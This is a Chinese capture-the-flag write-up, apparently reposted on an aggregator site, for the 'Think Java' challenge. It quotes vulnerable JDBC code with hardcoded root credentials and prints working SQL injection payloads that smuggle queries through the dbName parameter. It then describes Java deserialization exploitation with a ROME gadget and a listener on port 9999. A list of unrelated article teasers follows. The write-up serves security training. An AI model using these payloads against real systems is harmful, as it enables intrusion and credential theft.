[网鼎杯 2020 朱雀组]Think Java

[网鼎杯 2020 朱雀组]Think Java

swagger

[[swagger]]

  • 首先下载源码,查看之后发现
    image.png

  • 查找swagger资料,或者扫描,得到:swagger-ui.html

swagger-ui 提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。

  • 首先去看看sqlDict页面,感觉跟sql注入有关
    image.png

JDBC sql注入

[[JDBC sql注入]]

//首先会先通过数据库名进行数据库链接,所以这一步不能出错,这导致了常规的sql拼接失败了,因为拼接之后的字符串不可能是它们其中的一个数据库名,所以要采取别的方法try {Class.forName("com.mysql.jdbc.Driver");if (dbName != null && !dbName.equals("")) {dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;} else {dbName = "jdbc:mysql://mysqldbserver:3306/myapp";}if (user == null || dbName.equals("")) {user = "root";}if (pass == null || dbName.equals("")) {pass = "abc@12345";}conn = DriverManager.getConnection(dbName, user, pass);//然后才能进行SQL注入
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";ResultSet rs = stmt.executeQuery(sql);

参考wp,写的比较详细
https://blog.csdn.net/RABCDXB/article/details/124003575
https://syunaht.com/p/701889044.html

?#特殊处理

jdbc类似于url解析,所以会对于#和?有着不一样的解释

  • #在jdbc中无实际意义且#号后面的会被忽视。例如:myapp# 11会被当做myapp。而SQL语句得到的是:11
  • ?也是一样的,不过需要加个键值对。myapp?a=11。得到的SQL语句是:11
    所以构造,将提交方式改为post会好一点
dbName=myapp?a=1'union+select(group_concat(table_name))from(infoRmation_schema.tables)where(table_schema)like(database())#

image.png

  • 也不一定要用myapp数据库,也可以使用mysql自带的数据库,比如mysql
dbName=mysql?a=1'union+select+333#

image.png

  • 上面我们使用myapp数据库的时候其实返回了表名user,字段name和pwd
  • 所以直接进行注入
使用?
dbName=myapp?a=1'union+select+group_concat(name,pwd)+from+user#使用#
dbName=myapp#1'union+select+group_concat(name,pwd)+from+user#

image.png
得到

admin
admin@Rrrr_ctf_asde
  • 进入登录页面进行登录
    image.png
  • 登录成功之后返回了
    image.png

java反序列化

[[java反序列化]]

一段数据以rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段Java序列化的16进制。

  • 很明显是base64加密,进入最后一个将数据放入抓包
    1710861473304.png
    看到回显的数据就是admin用户名,尝试反序列化利用

java Deserialization Scanner

[[java反序列化#java Deserialization Scanner]]

  • 分析组件
  • 可以简化ysoserial使用流程
    是bp里面的插件,下载安装看这篇博客吧
    https://blog.csdn.net/RABCDXB/article/details/124003575
  • 主要讲如何使用
    有三个模块,分别是组件分析,漏洞利用,配置
使用

组件分析

  • 进入
    image.png
  • 使用
    image.png
  • 显现红色的就是它推测出来的组件,这里是ROME
    漏洞利用
  • 进入
    image.png
  • 使用
    Snipaste_2024-03-19_23-14-24.png

最后,监听9999 端口,得到
1710861809481.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/759548.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[激光原理与应用-76]:光束指向性与影响因素

目录 一、光束指向性 1.1 概述 2.2 光束指向性与光斑大小的区别 2.3 光束指向性与时间的关系 二、激光器的光束指向性的测量方法 2.1 概述 2.2 计算方法 三、激光器中影响光束指向性的因素 一、光束指向性 1.1 概述 光束指向性是指光束传播方向的特性,也可…

【Linux】进程通信

目录 一、管道通信 二、共享内存 三、消息队列 一、管道通信 管道是由操作系统维护的一个文件,管道通信的本质就是将管道文件作为临界资源,实现不同进程之间的数据读写,但是管道只允许父子进程或者兄弟进程之间的通信。 管道文件本身是全…

刷题DAY29 | LeetCode 491-递增子序列 46-全排列 47-全排列 II

491 递增子序列(medium) 给你一个整数数组 nums ,找出并返回所有该数组中不同的递增子序列,递增子序列中 至少有两个元素 。你可以按 任意顺序 返回答案。 数组中可能含有重复元素,如出现两个整数相等,也…

开放签开源电子签章白皮书-简版

开放签开源电子签章白皮书-简版 一、摘要: 开放签电子签章团队源自于电子合同SaaS公司,立志于通过开源、开放的模式,结合团队十多年的行业经验,将电子签章产品更简单、更低门槛的推广到各行各业中。让电子签章应用更简单&#x…

Fetch、Axios 和 jQuery(Ajax) 三种常用的网络请求技术

Fetch、Axios 和 jQuery(Ajax) 是三种常用的网络请求技术,它们各自有着不同的特点和优势。本文将对这三种技术进行详细的介绍和比较,以帮助开发者更好地选择和使用合适的网络请求技术。 一、Fetch Fetch(浏览器自带) 是一种现代的网络请求 API&#xff…

Vue3组件的注册

组件是Vue.js中的一个重要概念,它是一种抽象,是一个可以复用的Vue.js实例。它拥有独一无二的组件名称,可以扩展HTML元素,以组件名称的方式作为自定义的HTML标签。 在大多数系统网页中,网页都包含header、body、footer…

Debezium vs OGG vs Tapdata:如何实时同步 Oracle 数据到 Kafka 消息队列?

随着信息时代的蓬勃发展,企业对实时数据处理的需求逐渐成为推动业务创新和发展的重要驱动力。在这个快速变化的环境中,许多企业选择将 Oracle 数据库同步到 Kafka,以满足日益增长的实时数据处理需求。本文将深入探讨这一趋势的背后原因&#…

数学建模(熵权法 python代码 例子)

目录 介绍: 模板: 例子:择偶 极小型指标转化为极大型(正向化): 中间型指标转为极大型(正向化): 区间型指标转为极大型(正向化)&#xff1a…

基于BusyBox的imx6ull移植sqlite3到ARM板子上

1.官网下载源码 https://www.sqlite.org/download.html 下载源码解压到本地的linux环境下 2.解压并创建install文件夹 3.使用命令行配置 在解压的文件夹下打开终端,然后输入以下内容,其中arm-linux-gnueabihf是自己的交叉编译器【自己替换】 ./config…

PyTorch 深度学习(GPT 重译)(三)

六、使用神经网络拟合数据 本章内容包括 与线性模型相比,非线性激活函数是关键区别 使用 PyTorch 的nn模块 使用神经网络解决线性拟合问题 到目前为止,我们已经仔细研究了线性模型如何学习以及如何在 PyTorch 中实现这一点。我们专注于一个非常简单…

拷贝他人maven仓库jar包到自己本地仓库,加载maven依然提示无法下载对应依赖

所遇问题: 拷贝他人maven仓库jar包到自己本地maven仓库repository下的对应依赖位置,重新加载idea的maven依然提示无法下载对应依赖。 解决办法: 在maven->repository找到对应报错依赖路径,删除xxx.repositories 和 xxx.lastU…

【视频图像取证篇】模糊图像增强技术之去噪声类滤波场景应用小结

【视频图像取证篇】模糊图像增强技术之去噪声类滤波场景应用小结 模糊图像增强技术之去噪声类滤波场景应用小结—【蘇小沐】 文章目录 【视频图像取证篇】模糊图像增强技术之去噪声类滤波场景应用小结(一)去噪声类滤波器1、去块滤波器(Deblo…

32.768K晶振X1A000141000300适用于无人驾驶汽车电子设备

科技的发展带动电子元器件的发展电子元器件-“晶振”为现代的科技带来了巨大的贡献,用小小的身体发挥着大大的能量。 近两年无人驾驶汽车热度很高,不少汽车巨头都已入局。但这项技术的难度不小,相信在未来几年里,无人驾驶汽车这项…

软考高级:软件架构风格-独立构件风格概念和例题

作者:明明如月学长, CSDN 博客专家,大厂高级 Java 工程师,《性能优化方法论》作者、《解锁大厂思维:剖析《阿里巴巴Java开发手册》》、《再学经典:《Effective Java》独家解析》专栏作者。 热门文章推荐&am…

MySQL 索引的分类和优化

​ 优质博文:IT-BLOG-CN 索引是什么 : MySQL 官方对索引的定义:索引(Index)是帮助 MySQL 高效获取数据的数据结构。可以得到索引的本质:索引是数据结构。索引的目的在于提高查询效率。可以简单理解为&#…

力扣爆刷第101天之hot100五连刷91-95

力扣爆刷第101天之hot100五连刷91-95 文章目录 力扣爆刷第101天之hot100五连刷91-95一、62. 不同路径二、64. 最小路径和三、5. 最长回文子串四、1143. 最长公共子序列五、72. 编辑距离 一、62. 不同路径 题目链接:https://leetcode.cn/problems/unique-paths/desc…

实现防抖函数并支持第一次立刻执行(vue3 + ts环境演示)

1、先看一效果: 2、实现思路: 使用定时器setTimeout和闭包实现常规防抖功能;增加immediate字段控制第一次是否执行一次函数(true or false);增加一个flag标识,在第一次执行时,将标…

【go从入门到精通】for循环控制

前言 Go 语言提供了 for 循环语句,用于重复执行一段程序逻辑,直到循环条件不再满足时终止。 循环可以用于迭代各种数据结构(例如切片、数组、映射或字符串)中的元素 本文将很基础的for循环语法,循环嵌套&#…

二、阅读器的开发(初始)-- 1、阅读器简介及开发准备工作

1、阅读器工作原理及开发流程 1.1阅读器工作原理简介 电子书(有txt、pdf、epub、mobi等格式)->解析(书名、作者、目录、封面、章节等)->(通过阅读器引擎)渲染 -> 功能(字号、背景色、…

PHP页面如何实现设置独立访问密码

PHP网页如果需要查看信息必须输入密码,验证后才可显示出内容的代码如何实现? 对某些php页面设置单独的访问密码,如果密码不正确则无法查看内容,相当于对页面进行了一个加密。 如何实现这个效果,详细教程可以参考:PHP页面如何实现…